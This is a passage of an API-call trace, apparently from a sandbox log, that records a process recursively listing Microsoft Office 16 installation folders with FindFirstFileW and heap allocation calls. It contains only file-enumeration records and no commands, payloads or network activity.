ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0227.487] GetProcessHeap () returned 0xc10000 [0227.487] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.487] GetProcessHeap () returned 0xc10000 [0227.487] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0227.503] GetProcessHeap () returned 0xc10000 [0227.503] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.503] GetProcessHeap () returned 0xc10000 [0227.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.916] GetProcessHeap () returned 0xc10000 [0227.916] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.916] GetProcessHeap () returned 0xc10000 [0227.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.969] GetProcessHeap () returned 0xc10000 [0227.969] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.969] GetProcessHeap () returned 0xc10000 [0227.970] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0227.975] GetProcessHeap () returned 0xc10000 [0227.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.975] GetProcessHeap () returned 0xc10000 [0227.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.979] GetProcessHeap () returned 0xc10000 [0227.979] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.979] GetProcessHeap () returned 0xc10000 [0227.979] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.983] GetProcessHeap () returned 0xc10000 [0227.983] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.984] GetProcessHeap () returned 0xc10000 [0227.984] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.989] GetProcessHeap () returned 0xc10000 [0227.989] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.989] GetProcessHeap () returned 0xc10000 [0227.990] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0227.998] GetProcessHeap () returned 0xc10000 [0227.998] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.998] GetProcessHeap () returned 0xc10000 [0227.998] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0228.004] GetProcessHeap () returned 0xc10000 [0228.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.004] GetProcessHeap () returned 0xc10000 [0228.005] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0228.009] GetProcessHeap () returned 0xc10000 [0228.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.009] GetProcessHeap () returned 0xc10000 [0228.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.009] GetProcessHeap () returned 0xc10000 [0228.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0228.246] GetProcessHeap () returned 0xc10000 [0228.246] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.273] GetProcessHeap () returned 0xc10000 [0228.273] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0228.287] GetProcessHeap () returned 0xc10000 [0228.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.287] GetProcessHeap () returned 0xc10000 [0228.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0228.319] GetProcessHeap () returned 0xc10000 [0228.319] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.320] GetProcessHeap () returned 0xc10000 [0228.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.320] GetProcessHeap () returned 0xc10000 [0228.321] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0228.350] GetProcessHeap () returned 0xc10000 [0228.350] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.350] GetProcessHeap () returned 0xc10000 [0228.350] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0228.353] GetProcessHeap () returned 0xc10000 [0228.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.355] GetProcessHeap () returned 0xc10000 [0228.355] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0228.358] GetProcessHeap () returned 0xc10000 [0228.358] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.362] GetProcessHeap () returned 0xc10000 [0228.362] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.362] GetProcessHeap () returned 0xc10000 [0228.362] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.363] GetProcessHeap () returned 0xc10000 [0228.363] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0228.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0228.365] GetProcessHeap () returned 0xc10000 [0228.365] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0228.366] GetProcessHeap () returned 0xc10000 [0228.366] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0228.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0228.367] GetProcessHeap () returned 0xc10000 [0228.367] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0228.378] GetProcessHeap () returned 0xc10000 [0228.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.378] GetProcessHeap () returned 0xc10000 [0228.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0228.787] GetProcessHeap () returned 0xc10000 [0228.788] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0228.792] GetProcessHeap () returned 0xc10000 [0228.792] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0228.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0228.847] GetProcessHeap () returned 0xc10000 [0228.847] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0228.847] GetProcessHeap () returned 0xc10000 [0228.847] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0228.847] GetProcessHeap () returned 0xc10000 [0228.847] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0228.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0228.883] GetProcessHeap () returned 0xc10000 [0228.883] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0228.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ff3259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186355ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0228.884] GetProcessHeap () returned 0xc10000 [0228.884] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0228.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0228.885] GetProcessHeap () returned 0xc10000 [0228.885] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0228.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18aadbcf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18aadbcf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aadbcf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0228.887] GetProcessHeap () returned 0xc10000 [0228.887] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0228.887] GetProcessHeap () returned 0xc10000 [0228.887] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0228.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0228.890] GetProcessHeap () returned 0xc10000 [0228.890] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0228.890] GetProcessHeap () returned 0xc10000 [0228.890] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0228.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, 